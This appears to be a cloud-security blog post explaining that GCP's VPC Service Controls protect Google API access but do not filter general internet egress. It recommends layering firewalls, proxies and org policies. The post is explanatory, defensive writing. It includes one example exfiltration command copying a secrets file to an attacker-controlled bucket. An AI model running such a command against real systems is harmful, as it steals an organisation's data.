GCP’s VPC Service Controls is not a Firewall: Stop expecting them to block Internet Access

If I had a dollar for every time a project team enabled GCP’s VPC Service Controls (VPC-SC) and assumed their cloud footprint was officially locked down from the entire internet, I’d have enough to buy a very nice coffee setup.

It usually goes down like this:

A Cloud Infrastructure team spins up a VPC-SC perimeter. They feel secure. Then someone runs a git clone command from a VPC-bound instance inside the perimeter to github.com, and watches the repository downloaded.

Panic ensues. “Why isn’t our perimeter blocking outbound traffic? Is VPC-SC broken?”

No, VPC-SC isn’t broken — it’s just doing what it was actually built to do. The problem is that the word “Perimeter” tricks our brains into thinking of a giant, enterprise-grade network firewall.

In this blog article, I want to clear up what VPC-SC actually protects, where its boundaries end, and why you can’t rely on it as a silver bullet for total network isolation.

Identity vs. Context Awareness

To understand VPC-SC, you first have to look at how default Google Cloud security works.

Standard IAM answers one question:

“Who are you, and do you have permission to call this API?”

If a rogue actor steals a Service Account key that has roles/storage.admin, IAM says: "You have the correct permission! Here's the data," regardless of whether that call came from a production server in Iowa or a laptop in a coffee shop halfway across the world.

VPC Service Controls add a crucial second layer:

“Where are you calling this API from, and where is the target resource located?”

VPC-SC doesn’t care about your traditional network packets; it wraps a boundary specifically around Google Cloud API endpoints (like BigQuery, Cloud Storage, or Vertex AI).

The Vault Analogy

Think of IAM as the ID badge that unlocks the front door to your office building. VPC-SC is the security guard standing at the vault door, checking if you’re trying to take secret documents out of the building, even if your ID badge says you have permission to read them.

VPC-SC Protection: Focus Areas

When you configure a VPC-SC perimeter, you get three core capabilities at the Google API Control Plane:

1. Preventing Cross-Tenant Data Exfiltration

Suppose an attacker compromises a VM or identity inside your environment. They try running:

gcloud storage cp gs://your-company-bucket/secrets.csv gs://attacker-public-bucket/data.csv

Even if the identity has access to read the source bucket and write to the external bucket, VPC-SC blocks the call because the destination bucket lives outside your perimeter boundary.

2. Stopping Stolen Credentials in Their Tracks

If a developer accidentally commits a Service Account key to a public repository, an attacker trying to use that key from the outside world will get blocked by VPC-SC because the request originates from an untrusted source outside your perimeter.

3. Context-Aware API Access

You can dictate that developers can only access BigQuery APIs if they are connecting from an authorized VPC, a specific IP range, or a device meeting corporate security posture requirements.

Out-of-Scope Areas for VPC-SC

The fact remains that VPC-SC operates at the Google Cloud API layer and not at the OS/Network packet layer.

If your VPC-bound workload makes an outbound HTTP/HTTPS request to a standard website, a SaaS service, or GitHub, VPC-SC does not intervene. It doesn’t inspect outbound web traffic or perform DNS filtering.

What We Want VPC-SC to Do vs. What It Actually Does

• Expectation 1: Block VMs from reaching github.com or arbitrary web endpoints.
• Reality: Ignores non-Google web traffic. (Use Cloud NGFW, On-premise NGFW, or Secure Web Gateway for this).
• Expectation 2: Limit outbound SaaS connections in managed engines (e.g., Discovery Engine connectors to ServiceNow or Jira).
• Reality: Doesn’t filter third-party SaaS endpoints. (Use specific Org Policies like discoveryengine.managed.allowedEgressFqdns).
• Expectation 3: Stop code inside a VM from posting data to a public Discord webhook.
• Reality: Will not stop raw IP/HTTP traffic. If a VM has public internet access, code can send data anywhere.

💡 A Quick Note on “Egress Rules” Confusion:

Engineers often see “Egress Rules” in the VPC-SC console and assume it’s where you whitelist external web URLs. To set the record straight: VPC-SC Egress Rules only apply to supported Google Cloud services and multi-cloud scenarios (like BigQuery Omni connecting specifically to AWS S3 or Azure Blob Storage). They are not for general domain or URL filtering.

The Defense-in-Depth Approach

To build a truly resilient architecture, you need to think in layers. Here is how Identity (including Principal Access Boundary), API boundaries, Network Egress, and Org Policies fit together:

As you will now agree, VPC-SC isn’t a replacement for traditional network security. It is a specialized tool for cloud-native data boundary enforcement.

Conclusion

VPC-SC is arguably the single best tool in GCP for preventing unauthorized data transfers between Google Cloud projects and shutting down data exfiltration attacks.

But don’t ask it to be a network firewall. Let VPC-SC guard your Google Cloud APIs, use Cloud Firewalls and Proxies to guard your network traffic, and use Organization Policies to govern your managed services. That’s how you actually secure the cloud.